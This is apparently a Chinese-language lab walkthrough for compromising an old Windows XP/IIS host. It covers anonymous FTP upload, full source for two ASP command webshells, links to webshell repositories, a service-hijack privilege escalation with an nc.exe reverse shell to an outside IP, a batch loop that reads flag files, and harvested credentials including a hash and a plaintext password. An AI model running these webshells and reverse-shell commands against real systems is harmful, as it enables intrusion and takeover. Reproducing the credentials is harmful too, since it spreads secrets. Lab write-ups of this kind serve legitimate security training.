扫描端口仅开放了21、80、443端口。

Pasted_image_20240731214050.png

其中21端口存在匿名访问
Pasted_image_20240731214131.png

80端口也存在IIS PUT相关漏洞。
Pasted_image_20240731214218.png

为了方便,直接使用ftp上传webshell文件。
使用如下cmd 马:
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = request("cmd")
If (szCMD <> "") Then
szTempFile = "C:\" & oFileSys.GetTempName( )
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If
%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "
" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<br>
<%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
</BODY>
</HTML>

直接运行的话会提示没有权限,因为修改了机器的cmd.exe的权限

Pasted_image_20240731214636.png

没权限原因:(复制cmd.exe到可写目录都没权限)
Pasted_image_20240731214711.png

这里修改代码,复制出cmd到其他目录:
用到的大马 asp(不是必要):https://github.com/tennc/webshell/blob/master/asp/%E4%B8%8D%E7%81%AD%E4%B9%8B%E9%AD%82.asp
用到文件上传马:https://github.com/xl7dev/WebShell/blob/master/Asp/File%20upload.asp  
用到的cmd马文件:https://github.com/rutsky/cmdasp/blob/master/cmdasp.asp
进行如下的修改:
Pasted_image_20240731214850.png

可以看到能执行成功:
Pasted_image_20240731214937.png

XP 32位cmd.exe要通过upload.asp上传(ftp匿名登陆上传对文件大小有限制)
XP cmd.exe
修改cmd.asp为如下代码,可以动态执行命令:
<%
' 获取要执行的命令
cmd = Request.QueryString("cmd")
' 设置执行命令的路径
cmdPath = "C:\Documents and Settings\All Users\Documents\cmd.exe"
' 创建WScript.Shell对象
Set WshShell = Server.CreateObject("WScript.Shell")
' 执行命令并获取输出
Set exec = WshShell.Exec(cmdPath & " /c " & cmd)
output = exec.StdOut.ReadAll()
' 输出命令执行结果
Response.Write(output)
%>

可以通过访问 http://10.11.1.14/cmd.asp?cmd=   的形式执行命令:

Pasted_image_20240731215246.png

可以使用sc sdshow 命令检查哪些服务可以被进行修改操作(环境重置,无图) 参考链接: https://www.drchaos.com/post/a-walk-down-adversary-lane-xp-sp1
在 Windows XP 系统下,可以通过以下步骤使用命令行检查哪些服务可以被允许任何人进行修改:

1. 打开命令提示符(cmd)。
2. 输入以下命令并按 Enter 键:sc sdshow scmanager

这将显示 Service Control Manager 的安全描述符。其中包含了所有服务的安全设置信息。

1. 查找 "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" 这个字符串。如果该字符串出现在某个服务的安全描述符中,则表示该服务允许任何人进行修改。

例如,如果要检查 "Print Spooler" 服务是否允许任何人进行修改,可以输入以下命令并按 Enter 键:  
sc sdshow spooler  
在输出中查找上述字符串。如果该字符串存在,则表示该服务允许任何人进行修改。

查找到两个服务运行被修改upnphost 和  SSDPSRV
通过执行下面命令进行配置(这里有个坑 就是=号后面得加空格,不然会报错)

sc config upnphost binPath= "C:\Inetpub\wwwroot\nc.exe 192.168.45.228 4431 -e C:\Inetpub\wwwroot\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost

还需要启动SSDPSRV服务,这个upnphost才能启动

sc config SSDPSRV start= auto
net start SSDPSRV

这里又遇到一个坑,那就是通过服务反弹的shell存活期只有30秒(服务超时会断开shell,但是没提示。症状就是输入任何内容都无反应。),所以不得不把一些命令写道bat批处理文件中。

Pasted_image_20240731215807.png

其中whoami这个程序被删了,所以cmd马执行才会没反应
Pasted_image_20240731215902.png

使用批处理读proof.txt文件内容。有一个坑,在bat脚本中如果有%符号,需要双写!
for /r "C:\Documents and Settings\" %%i in (Proof.txt) do @type "%%i"

一开始想要加用户,开rdp。但是我本地mstsc坏了,总是提示密码不对

Pasted_image_20240731220023.png

最后总算时读取到了proof.txt文件内容:a26f37da4583ff68f44d133d12ae3459
Pasted_image_20240731220123.png

搜集

搜集到的用户名密码信息如下:

用户名 哈希 密码
Administrator 3194891312029ef822116b418563087f
bob bobis2cool